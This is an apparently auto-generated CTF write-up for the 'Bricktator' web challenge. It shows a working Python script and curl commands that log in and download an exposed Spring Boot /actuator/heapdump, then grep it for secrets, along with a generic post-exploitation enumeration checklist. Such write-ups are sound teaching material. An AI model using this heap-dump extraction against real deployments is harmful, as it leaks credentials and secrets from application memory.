Bricktator

Platform: Umasscybersec | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: actuator_recon, heapdump_secrets_extraction

Summary

Task: valid user credentials exposed a Spring Boot panel with authenticated actuator access. Solution: confirm locally that /actuator/heapdump keeps flag-like secrets in memory, then download the remote heap dump once and extract the real UMASS flag from strings output.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: umasscybersec | ID: 20260411_umasscybersec_bricktator
• Tags: credentials, spring_boot, heapdump, spring_actuator, java_heap
• Indicators: Spring Boot actuator endpoints become visible after a normal login, authenticated users can download /actuator/heapdump, heap strings contain flag-like values or sensitive constants
• Source: 20260411_umasscybersec_bricktator.md

Foothold

Vulnerability / Misconfiguration

1. Actuator_recon
2. Heapdump_secrets_extraction

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• actuator_recon
• heapdump_secrets_extraction
• Tags: credentials, spring_boot, heapdump, spring_actuator, java_heap

Original Writeup

<details><summary>Click to expand original content</summary>

Bricktator — UMass Cybersecurity CTF

Description

Organizer description was not preserved in the local task files.

English summary: we were given source code plus bricktator/goldeagle credentials. After login, the application exposed Spring Boot actuator endpoints, and the key issue was that /actuator/heapdump was readable and leaked secrets directly from process memory.

Analysis

The login from dossier.txt gave access to the application as bricktator. That account had the ROLE_YANKEE_WHITE permissions needed to browse actuator functionality, so the attack surface expanded immediately after authentication.

Local testing showed that /actuator/heapdump was exposed and that running strings on the dump revealed sensitive constants, including the placeholder flag stored in memory. That confirmed the remote target likely kept the real flag in the same place.

Solution

1. Read the dossier and log in with bricktator/goldeagle.
2. Use the granted role to access actuator endpoints.
3. Verify locally that /actuator/heapdump contains the placeholder flag in heap strings.
4. On the remote target, download /actuator/heapdump once.
5. Run strings on the dump and search for UMASS{ to recover the flag.

#!/usr/bin/env python3
import re
import subprocess
from pathlib import Path

import requests

BASE = "http://bricktator.web.ctf.umasscybersec.org:8080"
USER = "bricktator"
PASSWORD = "goldeagle"
OUT = Path("heapdump.hprof")

session = requests.Session()

# Adjust the login endpoint/field names if needed for the exact deployment.
session.post(
    f"{BASE}/login",
    data={"username": USER, "password": PASSWORD},
    timeout=20,
)

resp = session.get(f"{BASE}/actuator/heapdump", timeout=60)
resp.raise_for_status()
OUT.write_bytes(resp.content)

strings_output = subprocess.check_output(["strings", str(OUT)], text=True, errors="ignore")
matches = re.findall(r"UMASS\{[^}]+\}", strings_output)

for match in sorted(set(matches)):
    print(match)

Minimal extraction flow:

curl -s -c cookies.txt -d 'username=bricktator&password=goldeagle' http://bricktator.web.ctf.umasscybersec.org:8080/login > /dev/null
curl -s -b cookies.txt http://bricktator.web.ctf.umasscybersec.org:8080/actuator/heapdump -o heapdump.hprof
strings heapdump.hprof | grep 'UMASS{'

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR